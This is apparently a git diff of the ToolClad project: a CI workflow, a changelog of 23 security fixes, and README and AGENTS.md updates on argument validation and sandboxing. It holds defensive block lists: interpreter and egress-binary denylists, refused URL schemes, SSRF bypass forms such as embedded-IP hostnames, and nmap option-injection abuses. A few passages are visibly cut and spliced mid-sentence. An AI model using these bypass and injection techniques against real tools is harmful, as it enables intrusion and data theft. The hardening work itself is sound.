diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..ef2a77c --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,74 @@ +name: CI +on: + push: + branches: + - main + pull_request: + schedule: + # Weekly, so a newly published advisory against a pinned dependency + # fails the build even when nobody pushes. + - cron: '17 6 * * 1' +permissions: + contents: read +jobs: + rust: + runs-on: ubuntu-latest + defaults: + run: + working-directory: rust + steps: + - uses: actions/checkout@v5 + - uses: dtolnay/rust-toolchain@stable + with: + components: rustfmt, clippy + - run: cargo fmt --all --check + - run: cargo clippy --all-targets --all-features -j2 -- -D warnings + - run: cargo test --all-features -j2 + - run: cargo install cargo-audit --locked + - run: cargo audit + + go: + runs-on: ubuntu-latest + defaults: + run: + working-directory: go + steps: + - uses: actions/checkout@v5 + - uses: actions/setup-go@v5 + with: + go-version-file: go/go.mod + - run: test -z "$(gofmt -l .)" + - run: go vet ./... + - run: go test ./... + - run: go install golang.org/x/vuln/cmd/govulncheck@latest + - run: govulncheck ./... + + js: + runs-on: ubuntu-latest + defaults: + run: + working-directory: js + steps: + - uses: actions/checkout@v5 + - uses: actions/setup-node@v4 + with: + node-version: 22 + - run: npm ci + - run: npm test + - run: npm audit --audit-level=low + + python: + runs-on: ubuntu-latest + defaults: + run: + working-directory: python + steps: + - uses: actions/checkout@v5 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - run: pip install --require-hashes -r requirements-dev.lock + - run: pip install --no-deps -e . + - run: python -m pytest -q + - run: pip install pip-audit + - run: pip-audit -r requirements-dev.lock diff --git a/AGENTS.md b/AGENTS.md index 68fef24..4e539b7 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -9,7 +9,7 @@ |-------|-------| | Name | ToolClad | | Description | Declarative CLI tool interface contracts for agentic runtimes | -| Version | 0.6.1 | +| Version | 0.6.2 | | License | MIT (spec), Apache 2.0 (Symbiont integration) | | Repository | https://github.com/ThirdKeyAI/ToolClad | @@ -17,15 +17,18 @@ ToolClad provides: -- **Manifest parsing** — Load and validate `.clad.toml` tool interface contracts (oneshot, session, browser modes) -- **Argument validation** — 15 built-in type validators (incl. `number` and ASCII-strict `scope_target` with IDN/punycode rejection) with shell injection sanitization, plus custom types via `toolclad.toml` +- **Manifest parsing** — Load and validate `.clad.toml` tool interface contracts. Unknown keys are refused at load (`validate --allow-unknown-keys` downgrades them to warnings). Session and browser manifests parse and validate but are not executable by the reference runtimes. +- **Argument validation** — 15 built-in type validators (incl. `number` and ASCII-strict `scope_target` with IDN/punycode rejection) with shell injection sanitization, NUL/control-character/quote/whitespace/leading-dash rejection, anchored `pattern`s, and `block_internal` host/IP policy; plus custom types via `toolclad.toml` (discovered by walking up from the manifest's directory) - **Dispatch modes** — `tool.dispatch = "exec"` (default) runs an execution backend; `dispatch = "callback"` is a validator-only embedding for in-process tool dispatch (no `[output]`/backend required) -- **Five execution backends** — Shell command, HTTP API, MCP proxy, PTY session, CDP/Playwright browser -- **HTTP backend** — REST/GraphQL API tools with `{_secret:name}` template variable injection -- **MCP proxy backend** — Governed passthrough to upstream MCP servers with field mapping -- **Command construction** — Template interpolation with mappings, conditionals, and defaults -- **Tool execution** — Direct argv dispatch, process group kill on timeout, SHA-256 evidence hashing -- **Output parsers** — builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text, custom scripts +- **Two executing backends** — Shell command (`[command]`) and HTTP API (`[http]`). MCP proxy (`[mcp]`), PTY session (`[session]`) and CDP/Playwright browser (`[browser]`) manifests are **parsed and validated but not executable** by the reference runtimes: `[mcp]` returns a `delegation_preview` envelope (field-mapped arguments, no upstream call) and `[session]`/`[browser]` are refused at execution with a "parsed but not yet executable" error. +- **HTTP backend** — REST/GraphQL API tools with `{_secret:name}` template variable injection (expanded before argument interpolation), percent-encoded URL values, JSON-escaped body values, redirects not followed, unexpanded template in the envelope's `command` +- **MCP proxy manifests** — Field mapping to upstream parameter names and a `delegation_preview` envelope; the upstream MCP call is left to a hosting runtime +- **Command construction** — `exec` argv arrays (canonical) with mappings (`__flags`), conditionals (`_`), defaults, `{{`/`}}` brace escapes and `end_of_options = "--"`; the deprecated `template` string is tokenized into `exec` at load with a warning +- **Tool execution** — Direct argv dispatch, cleared child environment (secrets never passed), interpreter denylist, `SIGTERM` to the process group then `SIGKILL` after `TOOLCLAD_KILL_GRACE_MS` (default 2000 ms), SHA-256 evidence hashing +- **Policy gate** — `human_approval = true` and `risk_tier` `high`/`critical` are denied by default; `run --approve` or an explicit gate is required. Cedar evaluation is external. +- **Scope enforcement** — `scope_check = true` arguments checked against `scope/scope.toml` (`TOOLCLAD_SCOPE_FILE` or found by walking up from the manifest); fail-closed when no scope file is reachable +- **Output parsers** — builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text; custom parser scripts are refused at load +- **Output validation** — `[output] max_bytes` cap (default 8 MiB, sets `output_truncated`), XML `` | Parse and validate a `.clad.toml` manifest | -| `toolclad run --arg k=v` | Execute a tool with validated arguments | +| `toolclad validate ` | Parse and validate a `.clad.toml` manifest (`--allow-unknown-keys` downgrades unknown keys to warnings) | +| `toolclad run --arg k=v` | Execute a tool with validated arguments (`--approve` switches the policy gate to allow-all) | | `toolclad test --arg k=v` | Dry-run: validate and show command without executing | | `toolclad schema ` | Output MCP-compatible JSON Schema | @@ -58,16 +61,19 @@ ToolClad is a framework for defining tools, not a tool itself. It provides a CLI ## Security Model -ToolClad uses an **allow-list** approach: the LLM fills typed parameters constrained by the manifest. The executor validates and constructs the command. The LLM never generates or sees shell commands. +ToolClad uses an **allow-list** approach: the LLM fills typed parameters constrained by the manifest. The executor validates and constructs the argv. The LLM never generates shell commands; the evidence envelope reports the declared command with placeholders intact on every backend, so executor-injected paths and expanded secrets never reach the agent (the `toolclad test` dry run shows the resolved argv for the operator). -All string-based types reject shell metacharacters by default: `;|&$\`(){}[]<>!` +All string-derived types reject shell metacharacters by default (`;|&$\`(){}[]<>!`), plus NUL (every type, `enum` included), control characters, quotes and backslashes, whitespace (unless `allow_whitespace = true` in `exec` mode) and a leading `-`/`+` (unless `allow_leading_dash = true`). Every `pattern` is anchored to the whole value. + +Network-target arguments (`scope_target`, `url`, `ip_address`, `cidr`) always refuse link-local and cloud-metadata ranges and internal name suffixes; `block_internal = true` extends that to loopback, private, CGNAT, documentation and reserved ranges and resolves hostnames fail-closed. Manifests that set `network_egress = true`, dispatch a known egress binary, or use `[http]`/`[browser]` must set `block_internal = true` on every such argument. ## Example Manifests See `examples/` for ready-to-use manifests: - `whois_lookup.clad.toml` — Simple text tool -- `nmap_scan.clad.toml` — Scanner with enum mappings +- `nmap_scan.clad.toml` — Scanner with enum mappings and `block_internal` - `dig_lookup.clad.toml` — DNS queries -- `curl_fetch.clad.toml` — HTTP requests with scope checking +- `curl_fetch.clad.toml` — HTTP requests with scope checking, `allow_whitespace`, and brace escapes +- `nikto_scan.clad.toml` — Custom types from `toolclad.toml` and `human_approval` gating diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..036d5aa --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,207 @@ +# Changelog + +All notable changes to ToolClad are recorded here. The manifest format and the +four reference runtimes share one version number; the protocol-level history +before this file lives in the Changelog section of `TOOLCLAD_DESIGN_SPEC.md`. + +## [Unreleased] + +A security review of the reference runtimes produced 23 findings. This release +closes all of them. Several are **breaking by design** — a control that +silently degraded to "off" is worse than a control that refuses to load — so +read "Breaking changes" before upgrading. + +### Breaking changes + +- **Unknown manifest keys are refused at load** (TC-13). A typo such as + `tiemout_seconds` or a control an older runtime does not support now fails + the manifest instead of falling back to a default. Authoring escape hatch: + `toolclad validate --allow-unknown-keys`. +- **Whitespace, quotes, backslashes and a leading `-`/`+` are refused in + string-derived argument values** (TC-1, TC-3). Opt back in per argument with + `allow_whitespace = true` (honored only with the `exec` form) and + `allow_leading_dash = true`. Negative numbers need `allow_leading_dash`. +- **`[command] template` is deprecated** and is tokenized into an `exec` array + at load, with a load-time warning. A template whose placeholder sits inside + quotes (`-H '{headers}'`) no longer loads. `{{` and `}}` are now escapes for + literal braces. +- **Mapping and conditional variable names are unified** (TC-23): mappings are + `{__flags}` only, conditionals are `{_}` only. The Rust + `_` alias, the Go `__flags` alias, the shared `_scan_flags` + alias and the JavaScript `_cond_` spelling are gone. +- **An unresolved placeholder is an error**, at load where it can be detected + and at build otherwise. It used to reach argv as a literal token. +- **`execute()` takes a policy gate** and denies by default when + `human_approval = true` or `risk_tier` is `high`/`critical` (TC-9). The + existing signatures keep working through a default-gate shim; pass an + approving gate, or `--approve` on the CLIs, to run such a manifest. +- **`timeout_seconds = 0` is refused** at load (TC-11); it used to disable the + timeout entirely in Rust. +- **Custom output parsers are refused at load** (TC-14). They were silently + ignored, which produced unvalidated output under a manifest that claimed to + parse and validate. +- **`scope_check = true` is enforced and fail-closed** (TC-10). With no + reachable `scope/scope.toml`, the call is refused rather than allowed. +- **The `url` type defaults to `schemes = ["http", "https"]`** and refuses + dangerous schemes outright (TC-6). +- **An interpreter as `argv[0]`** (`sh`, `bash`, `python`, `node`, `env`, …) is + refused at load unless `[tool] allow_interpreter = true` (TC-21). +- **`argv[0]`'s basename must match `tool.binary`'s** (TC-8). +- **The evidence envelope's `command` field reports the declared command**, not + the expanded argv, so executor-injected paths and expanded secrets no longer + reach the agent. The human-facing dry run still shows the resolved argv. +- **The JavaScript `execute()` is now async** (TC-11), so the timeout no longer + depends on the child closing its output pipe. `executeSync` remains as a + shim that explains the change. + +### Security fixes + +- **TC-1 (critical)** — Argument and option injection through template + re-splitting. The trusted template is now tokenized at load, before any value + exists; each placeholder resolves to exactly one argv entry and the result is + never re-split. String-derived types reject whitespace and quotes. + All four runtimes. +- **TC-2 (critical)** — The shipped `nmap_scan` manifest exposed a free-form + `extra_flags` string, which is arbitrary nmap option injection (`-iL` file + disclosure, `-oN` file write, `--script` Lua execution in a process that + usually holds `CAP_NET_RAW`). The parameter is removed; every supported + invocation is a `[command.mappings]` entry. +- **TC-3 (high)** — No leading-dash protection in any mode. Default-deny `^[-+]` + for string-derived types, `allow_leading_dash` to opt in, and + `[command] end_of_options = "--"` for tools whose parser honors it. +- **TC-4 (high)** — `block_internal` was implemented only in Rust and silently + dropped by Go, JavaScript and Python, so the shipped examples had no SSRF + defense in three runtimes. Ported to all four from one shared range table, + with unknown-key rejection (TC-13) ensuring a runtime that lacks a control + refuses the manifest instead of running without it. +- **TC-5 (high)** — The Rust `block_internal` was a literal-IP string check. + Added the unconditional internal-name denylist (`localhost`, `.local`, + `.internal`, `.home.arpa`, …), embedded-IP-literal hostname detection + (`127.0.0.1.nip.io`, `10-0-0-1.nip.io`), CIDR **overlap** testing so + `8.0.0.0/5` can no longer smuggle `10.0.0.0/8`, and DNS resolution with the + range policy applied to every answer and failure treated as refusal. +- **TC-6 (high)** — One normative `url` validator: scheme allowlist defaulting + to http/https, explicit refusal of `javascript:`, `data:`, `file:`, `blob:`, + `about:`, `gopher:`, `dict:` and friends, userinfo refused, hygiene checks + applied (the JavaScript validator previously ran none), and Rust now honors + `schemes`. +- **TC-7 (high)** — JavaScript expanded `{_secret:name}` *after* argument + interpolation, so a `url` value could exfiltrate a secret. Secrets are now + expanded on the manifest template first, in every runtime. +- **TC-8 (high)** — Tools inherited the runtime's whole environment, including + `TOOLCLAD_SECRET_*`, `LD_PRELOAD` and `PATH`. The child environment is now + cleared and rebuilt from an allowlist, secrets are never passed to a child + (and may live in `TOOLCLAD_SECRETS_FILE` instead of the environment), and + `argv[0]` is resolved to an absolute path against a fixed `PATH`. +- **TC-9 (medium)** — Cedar, `risk_tier` and `human_approval` were parsed and + printed only; `toolclad run` would execute a `human_approval = true` manifest + unconditionally. Added the gate seam described above. Cedar evaluation is + explicitly external. +- **TC-10 (medium)** — `scope_check`, `scope_target` and the browser + `allowed_domains`/`blocked_domains` enforced no scope at all. Implemented + `scope/scope.toml` loading and wired `scope_check` in all four runtimes, with + `tests/scope_vectors.json` now executed by every suite. +- **TC-11 (medium)** — Timeout gaps: Go could hang forever waiting on the + output pipe, JavaScript relied on `SIGTERM` to a `spawnSync` child, Rust + treated `0` as "no timeout", and no runtime had a `SIGTERM` grace period. + Fixed with `cmd.WaitDelay`/`cmd.Cancel` in Go, async `spawn` with a timer in + JavaScript, load-time refusal of `0`, and a `SIGTERM` → grace → `SIGKILL` + group kill everywhere (`TOOLCLAD_KILL_GRACE_MS`, default 2000 ms). +- **TC-12 (medium)** — Unbounded stdout capture and untrusted XML entity + expansion. Added `[output] max_bytes` (default 8 MiB) with + `output_truncated` in the envelope, and refusal of XML containing + `/cmdline` exposes them, and + unchecked redirects. Interpolated values are percent-encoded, a placeholder + in the scheme or host is a load error, Go escapes the body, the envelope + carries the unexpanded template, redirects are not followed + (`redirect_blocked`), and the JavaScript backend uses `fetch` instead of + spawning curl, so nothing secret reaches a process argv. +- **TC-17 (medium)** — Dependency advisories and an unpinned Go toolchain. + Updated rustls to 0.23.45, rustls-webpki to 0.103.15, h2 to 0.4.20 and + anyhow to 1.0.104 (`cargo audit`: 5 vulnerabilities and 1 warning → none); + pinned `toolchain go1.26.9` in `go/go.mod` (`govulncheck`: 26 reachable + standard-library advisories → none); added a hash-pinned Python lockfile; + and added the audits to CI. +- **TC-18 (low)** — Tools inherited stdin in Rust and Python; now + `/dev/null` everywhere. +- **TC-19 (low)** — Evidence paths were world-writable, low-entropy and + symlink-following, and Rust never created the directory it advertised in + `{_output_file}`. The evidence root is created 0700, identifiers carry 128 + bits of entropy, output files are opened `O_NOFOLLOW|O_EXCL` mode 0600, and + `TOOLCLAD_EVIDENCE_DIR` is honored consistently (JavaScript no longer + hardcodes `/tmp`). +- **TC-20 (low)** — Validator leniency and cross-runtime drift: `Number("")` + accepted as `0`, `0x10` as 16, `1_000` and `" 7 "` as integers, bogus IP + literals and trailing-dot hostnames accepted, durations with a trailing + newline accepted, and `pattern` acting as a substring test. Patterns are now + anchored, numeric and duration parsing is strict, and the Rust canonical-IP + rules apply in all four runtimes. +- **TC-21 (low)** — No process hardening. Added a 0700 per-invocation scratch + cwd, a restrictive umask, resource limits where the language supports them + (Rust and Python; Go and Node cannot set child rlimits portably — documented), + and the interpreter denylist. +- **TC-22 (info)** — README, AGENTS.md and the docs presented session, browser + and MCP-proxy execution as shipped backends. They are parsed and validated + but not executable by the reference runtimes, and the docs now say so. +- **TC-23 (info)** — Functional drift with security impact: the `exec` array + form was unusable in Go, conditionals were never evaluated in Go, the + executor-injected variables were missing in Go, JavaScript used a + `_cond_` spelling that made every conditional empty, Rust never + resolved `{_scan_flags}` and passed the literal token to the tool, the + `nikto_scan` example could not be loaded by any CLI, and the version strings + disagreed with the package metadata. All fixed; the CLIs now discover + `toolclad.toml` custom types. + +### Added + +- `tests/injection_vectors.json` — shared negative-test vectors (option + injection, quote breakout, control characters, URL schemes, SSRF literals, + CIDR overlap, obfuscated IP encodings, unknown manifest keys), executed by + all four suites alongside the existing `tests/scope_vectors.json`. +- `tests/run_all.sh` and `tests/README.md`. +- `.github/workflows/ci.yml`: the four test suites plus `cargo audit`, + `govulncheck`, `npm audit` and `pip-audit` on every push, pull request and + weekly, so a new advisory against a pinned dependency fails the build. +- `python/requirements-dev.lock`, a hash-pinned lockfile for the Python dev + environment. +- Fuzz targets for the validator and manifest loader: `cargo-fuzz` (Rust), Go + native fuzzing, `fast-check` (JavaScript), `hypothesis` (Python). +- `scope/scope.toml` starter scope definition. +- New manifest keys: `[tool] network_egress`, `[tool] allow_interpreter`, + `[tool] mode`, `[tool.limits]`, `[args.*] allow_leading_dash`, + `[args.*] allow_whitespace`, `[command] end_of_options`, + `[output] max_bytes`. +- Normative spec sections: tokenization order, argument hygiene, egress safety, + the gate seam, the process environment, and **Session and Browser Security + Requirements** (S1–S7) covering control-character rejection, sentinel-anchored + `ready_pattern` matching, selectors as CDP arguments rather than concatenated + JavaScript, `execute_js` absent by default, the full URL-scope surface list, + and the refusal to register a child session from tool output. + +### Fixed + +- The spec's v0.5.2 claim of "full feature parity across Rust, Python, + JavaScript, and Go" was not accurate: `block_internal` was 1 of 4, the egress + lint 1 of 4, `schemes` honored 3 of 4, conditionals 3 of 4 under two naming + schemes, and the `exec` array working in 3 of 4. The parity gaps are closed + and the shared vector files now hold them closed. +- Version strings: `js/src/cli.js` reported 0.1.0 and + `python/toolclad/__init__.py` reported 0.6.1 against a package version of + 0.6.2. +- The `curl_fetch` example's `-w` format string, which was mangled to `%{}` by + the JavaScript runtime. diff --git a/README.md b/README.md index 38fc096..97c9665 100644 --- a/README.md +++ b/README.md @@ -4,11 +4,15 @@ Declarative tool interface contracts for agentic runtimes. -ToolClad is a manifest format (`.clad.toml`) that defines the complete behavioral contract for a tool: typed parameters, validation rules, invocation mechanism, output parsing, and policy metadata. Three execution modes share a common governance layer: +ToolClad is a manifest format (`.clad.toml`) that defines the complete behavioral contract for a tool: typed parameters, validation rules, invocation mechanism, output parsing, and policy metadata. Two executing backends share a common governance layer: -- **Oneshot** (default): Single CLI command execution -- **Session**: Interactive CLI tools via PTY (msfconsole, psql, redis-cli) with per-interaction Cedar gating -- **Browser**: Governed headless browser via CDP/Playwright with URL scope enforcement and page state policies +- **Shell command** (`[command]`, default): a single CLI invocation dispatched via `execve` +- **HTTP API** (`[http]`): a single HTTP request constructed from the manifest + +Three further manifest kinds are **parsed and validated but not executable by the reference runtimes** in this repository: + +- **MCP proxy** (`[mcp]`): arguments are validated and field-mapped, and `execute` returns a `delegation_preview` envelope; no upstream MCP call is made +- **PTY session** (`[session]`) and **CDP browser** (`[browser]`): `validate` and `schema` work, but `execute` is refused with `session mode is parsed but not yet executable in the reference implementation` (and the equivalent message for browser mode). Executing these contracts is the job of a hosting runtime such as Symbiont. ## The Problem @@ -33,7 +37,7 @@ type = "scope_target" description = "Domain name or IP address to query" [command] -template = "whois {target}" +exec = ["whois", "{target}"] [output] format = "text" @@ -46,18 +50,18 @@ type = "object" type = "string" ``` -The agent fills typed parameters. The executor validates, constructs the command, executes with timeout, and returns structured JSON. The agent never sees or generates a shell command. The `[command]` section is optional for HTTP-only or MCP-only manifests. +The agent fills typed parameters. The executor validates, constructs the argv, executes with timeout, and returns structured JSON. The agent never generates a shell command; the evidence envelope reports the argv that was run (for HTTP tools, the unexpanded URL template, so secrets never reach the agent). The `[command]` section is optional for HTTP-only or MCP-only manifests. -### Array-Based Command Construction (v0.5.3) +### Array-Based Command Construction -For commands where argument values may contain spaces or quotes, use the `exec` array format — it maps directly to `execve` with no shell interpretation or string splitting: +`exec` is the canonical invocation form. Each element is exactly one argv entry, dispatched straight to `execve`; substituted values are never re-split and there is no shell: ```toml [command] -exec = ["curl", "-H", "Authorization: {token}", "{target}"] +exec = ["curl", "-s", "-S", "-X", "{method}", "{_header_flags}", "{url}"] ``` -The legacy `template` string format remains supported. See [Command Construction](https://docs.toolclad.org/command-construction/) for details. +A placeholder must be a whole, unquoted token. `{{` and `}}` are escapes for literal braces (so `"\\n%{{http_code}}"` reaches curl as `\n%{http_code}`). The legacy `template` string form is **deprecated**: it is still accepted, but it is tokenized into the same `exec` array at load time, prints a deprecation warning, and will be removed in the next minor release. Argument values may contain whitespace only when the argument sets `allow_whitespace = true`, and that opt-in is honored only for manifests that declare `exec` directly. See [Command Construction](https://docs.toolclad.org/command-construction/) for details. ## Security Model @@ -70,16 +74,41 @@ The dangerous action cannot be expressed because the interface doesn't permit it ### Security Features -- **Shell injection prevention**: All string types reject metacharacters (`;|&$\`(){}[]<>!\n\r`) by default -- **Array-based execution**: Commands dispatched via direct `execve` (no `sh -c` shell interpretation) -- **Process group isolation**: Tools spawned in new PGID; timeout kills entire process group (no zombies) -- **Absolute path blocking**: `path` type rejects `/etc/shadow`, `C:\...` style paths -- **Newline injection blocking**: `\n` and `\r` rejected in all string-based types -- **HTTP body JSON-escaping**: Values interpolated into HTTP body templates are JSON-escaped to prevent injection -- **Platform-aware evidence directories**: Evidence output uses platform-appropriate temp directories -- **HTTP error semantics**: 4xx responses map to `client_error`, 5xx to `server_error` in evidence envelopes +- **Shell injection prevention**: All string-derived types reject shell metacharacters (`;|&$\`(){}[]<>!`), NUL, control characters, quotes and backslashes, whitespace (unless `allow_whitespace = true` in `exec` mode) and a leading `-`/`+` (unless `allow_leading_dash = true`). NUL is rejected for every type, `enum` included. +- **Array-based execution**: Commands dispatched via direct `execve` (no `sh -c` shell interpretation); substituted values are never re-split +- **Process group isolation**: Tools spawned in a new PGID; on timeout the executor sends `SIGTERM` to the group, waits `TOOLCLAD_KILL_GRACE_MS` (default 2000 ms), then sends `SIGKILL` to the group. `timeout_seconds = 0` is refused at load. +- **Hardened spawn path**: child environment rebuilt from a fixed allowlist (secrets are never passed), `argv[0]` resolved against a fixed `PATH`, shell and script interpreters refused unless `allow_interpreter = true`, stdin from `/dev/null`, a 0700 per-invocation scratch directory as cwd +- **Policy gate**: `human_approval = true` and `risk_tier` `high`/`critical` are denied by default; `--approve` (or an explicit gate in library use) is required to run them. Cedar evaluation stays external. +- **Absolute path blocking**: `path` type rejects `/etc/shadow`, `C:\...` style paths and any `..` path component +- **Host and IP policy**: link-local and cloud-metadata ranges are always blocked; `block_internal = true` additionally blocks loopback, private, CGNAT, documentation and reserved ranges, internal name suffixes, embedded-IP hostnames, and resolves hostnames (fail-closed). Manifests that dispatch a known egress binary, set `network_egress = true`, or use `[http]`/`[browser]` must set `block_internal = true` on every network-target argument. +- **Fail-closed scope enforcement**: `scope_check = true` with no reachable `scope/scope.toml` is a refusal, not a pass +- **Unknown manifest keys refused at load**: every section is checked against a fixed key allowlist (`validate --allow-unknown-keys` is the only escape hatch) +- **HTTP hardening**: secrets are expanded before argument interpolation, URL values are percent-encoded, body values are JSON-escaped, redirects are not followed (`redirect_blocked`), and the envelope's `command` holds the unexpanded template +- **Platform-aware evidence directories**: evidence root at `TOOLCLAD_EVIDENCE_DIR` or `/toolclad-evidence`, created mode 0700; output files opened `O_NOFOLLOW | O_EXCL | O_CREAT` mode 0600 +- **Fail-closed output**: stdout and stderr capped by `[output] max_bytes` (default 8 MiB, sets `output_truncated`), XML containing `' is not in scope`. + ## Packages Install from your language's package registry: @@ -101,15 +130,15 @@ npm install toolclad # JavaScript / npm Each implementation provides: -- **Manifest parsing** -- load and validate `.clad.toml` files (oneshot, session, browser modes) -- **14 built-in type validators** -- all with injection sanitization, plus custom types via `toolclad.toml` -- **Command construction** -- template interpolation with mappings, conditionals, defaults -- **Execution** -- direct argv dispatch, real timeout enforcement with process group kill, SHA-256 evidence hashing -- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text, custom scripts -- **Output schema validation** -- validates parsed results against `[output.schema]` +- **Manifest parsing** -- load and validate `.clad.toml` files; unknown keys are refused at load. Session and browser manifests parse and validate but are not executable. +- **15 built-in type validators** -- all with injection sanitization, plus custom types via `toolclad.toml` (discovered by walking up from the manifest's directory) +- **Command construction** -- `exec` argv arrays with mappings, conditionals, defaults; deprecated `template` strings are compiled to `exec` at load +- **Execution** -- shell and HTTP backends: direct argv dispatch, hardened child environment, SIGTERM-then-SIGKILL process group kill on timeout, policy gate, SHA-256 evidence hashing +- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text (custom parser scripts are refused at load) +- **Output schema validation** -- fail-closed validation of parsed results against `[output.schema]` (status `schema_error` on violation) - **MCP schema generation** -- rich inputSchema + outputSchema with format/pattern constraints for LLM tool use - **Evidence envelopes** -- structured JSON with scan_id, timestamps, exit_code, stderr, output_hash -- **CLI** -- `validate`, `run`, `schema`, `test` (dry run) subcommands +- **CLI** -- `validate` (`--allow-unknown-keys`), `run` (`--approve`), `schema`, `test` (dry run) subcommands ## Quick Start @@ -133,26 +162,38 @@ cd go && go run ./cmd/toolclad test ../examples/whois_lookup.clad.toml --arg tar | Type | Validates | Examples | |------|-----------|---------| -| `string` | Non-empty, injection-safe, optional regex `pattern` | General text | -| `integer` | Numeric, optional `min`/`max` with `clamp` | Thread counts | +| `string` | Injection-safe, optional anchored regex `pattern` | General text | +| `integer` | `^[+-]?\d+$`, optional `min`/`max` with `clamp` | Thread counts | | `number` | Float, optional `min_float`/`max_float` with `clamp`; rejects NaN/inf | Confidence scores, ratios | -| `port` | 1-65535 | Network ports | -| `boolean` | Exactly `"true"` or `"false"` | Feature flags | +| `port` | `^\d+$` in 1-65535 | Network ports | +| `boolean` | `true` or `false` (case-insensitive, normalized to lowercase) | Feature flags | | `enum` | Value in declared `allowed` list | Scan types | -| `scope_target` | Injection-safe, ASCII-only, IDN/punycode rejected, no wildcards/traversal, valid IP/CIDR/hostname | Targets | -| `url` | Valid URL, optional `schemes` restriction, `scope_check` | Web targets | -| `path` | No traversal (`../`), no absolute paths | File paths | -| `ip_address` | Valid IPv4 or IPv6 | Addresses | -| `cidr` | Valid CIDR notation (IPv4 + IPv6) | Network ranges | +| `scope_target` | Injection-safe, ASCII-only, IDN/punycode rejected, no wildcards/traversal, canonical IP/CIDR (IPv4 + IPv6)/hostname; `block_internal`, `scope_check` | Targets | +| `url` | `scheme://host[:port]/...` with `http`/`https` by default (`schemes` to override; dangerous schemes always refused), no userinfo, host/IP policy; `block_internal`, `scope_check` | Web targets | +| `path` | No `..` component, no absolute paths | File paths | +| `ip_address` | Canonical IPv4 or IPv6 literal; `block_internal`, `scope_check` | Addresses | +| `cidr` | Valid CIDR notation (IPv4 + IPv6); `block_internal` (overlap check), `scope_check` | Network ranges | ### Extended Types | Type | Validates | Use Case | |------|-----------|----------| -| `msf_options` | Semicolon-delimited `set KEY VALUE` pairs | Metasploit options | +| `msf_options` | Semicolon-delimited `set KEY VALUE` pairs (whitespace allowed as the separator) | Metasploit options | | `credential_file` | Relative path + must exist | Username/password lists | -| `duration` | Integer with suffix (`30`, `5m`, `2h`) | Timeout overrides | -| `regex_match` | Matches declared `pattern` (required) | Module paths | +| `duration` | `^\d+$` or `h`/`m`/`s`/`ms` components (`30`, `5m`, `2h`, `1h30m`) | Timeout overrides | +| `regex_match` | Matches declared anchored `pattern` (required) | Module paths | + +### Value Hygiene + +Every string-derived type (`string`, `path`, `credential_file`, `regex_match`, `url`, `scope_target`, `duration`, `msf_options`) is checked, in order, before any type-specific parsing: + +1. NUL bytes are rejected (for every type, including `enum`) +2. Control characters (U+0000-U+001F, U+007F) are rejected +3. `'`, `"` and `\` are rejected +4. Any Unicode whitespace is rejected unless the argument sets `allow_whitespace = true` **and** the manifest declares `command.exec` directly (`msf_options` is exempt because the space is its `KEY VALUE` separator) +5. A leading `-` or `+` is rejected unless the argument sets `allow_leading_dash = true` + +Numeric types apply the leading-dash rule to the output value after clamping, so `-5` with `clamp = true` and `min = 1` yields `1`, while `-1` with no bounds is rejected unless `allow_leading_dash = true`. Every `pattern` is anchored (`^(?:pat)$`) so it must match the whole value. ### Custom Types @@ -170,13 +211,17 @@ allowed = ["info", "low", "medium", "high", "critical"] Reference in manifests: `type = "service_protocol"` +The CLIs discover `toolclad.toml` by walking up from the manifest's directory and pass the custom types into validation and load-time type checking. Custom types cannot carry `block_internal` or `scope_check`, so an argument that names a network target must use the built-in `scope_target`, `url`, `ip_address`, or `cidr` type; a custom type whose base is one of those still counts as a network target for the egress lint. + ### Dispatch Modes `tool.dispatch` selects the execution model: - `"exec"` (default) — manifest must declare a backend (`[command]`, `[http]`, - `[mcp]`, `[session]`, or `[browser]`) and an `[output]` block. ToolClad runs - the backend itself. + `[mcp]`, `[session]`, or `[browser]`) and an `[output]` block. The reference + runtimes execute `[command]` and `[http]`; `[mcp]` yields a + `delegation_preview` envelope and `[session]`/`[browser]` are refused at + execution (see above). - `"callback"` — validator-only embedding. Backend and `[output]` are optional; in-process code dispatches the validated arguments however it likes. Useful when ToolClad is just the typed-argument fence and execution @@ -194,6 +239,18 @@ max_float = 1.0 required = true ``` +### Tool-Level Hardening Keys + +| Key | Default | Effect | +|-----|---------|--------| +| `[tool] network_egress` | `false` | Declares that the tool reaches the network. When `true` (or when the binary is a known egress tool such as `curl`, `nmap`, `ssh`, or the manifest uses `[http]`/`[browser]`), every `scope_target`/`url`/`ip_address`/`cidr` argument must set `block_internal = true` or the manifest is refused at load. | +| `[tool] allow_interpreter` | `false` | Permits `argv[0]` to be a shell or script interpreter (`sh`, `bash`, `python3`, `node`, `perl`, `env`, `xargs`, ...). Refused at load otherwise. | +| `[tool] mode` | derived | `oneshot`, `session`, or `browser`. Advisory only; derived from the backend section when absent. | +| `[tool] human_approval` | `false` | The default policy gate denies execution; requires `--approve` or an approving gate. | +| `[tool.limits]` | unset | `nproc`, `nofile`, `fsize_bytes`, `address_space_bytes`, `cpu_seconds`. Applied as child rlimits by the Rust and Python runtimes; Go and JS cannot set child rlimits portably and skip them. | +| `[command] end_of_options` | unset | Only `"--"` is accepted; inserts a literal `--` before the first user-argument token. | +| `[output] max_bytes` | `8388608` | Cap on captured stdout and stderr; overflow sets `output_truncated`. | + ## Output Handling ### Built-in Parsers @@ -206,14 +263,15 @@ required = true | `builtin:jsonl` | Nuclei, streaming tools | | `builtin:text` | Simple unstructured output (default) | -### Custom Parsers +### Custom Parsers (Not Supported) -```toml -[output] -parser = "scripts/parse-outputs/parse-nmap-xml.py" -``` +The reference runtimes accept only the `builtin:*` parser names above. A `parser` value naming a script (for example `parser = "scripts/parse.py"`) is refused at load with `custom output parsers are not supported by the reference runtimes`. + +### Output Limits and Schema Validation -Custom parsers receive the raw output file path as `argv[1]` and emit JSON to stdout. +- `[output] max_bytes` (default `8388608`, 8 MiB) caps stdout and stderr separately; on overflow capture stops and the envelope gets `"output_truncated": true` without changing the status. +- XML input containing `: "}`, and preserves the raw output under `results.raw_output`. ### Evidence 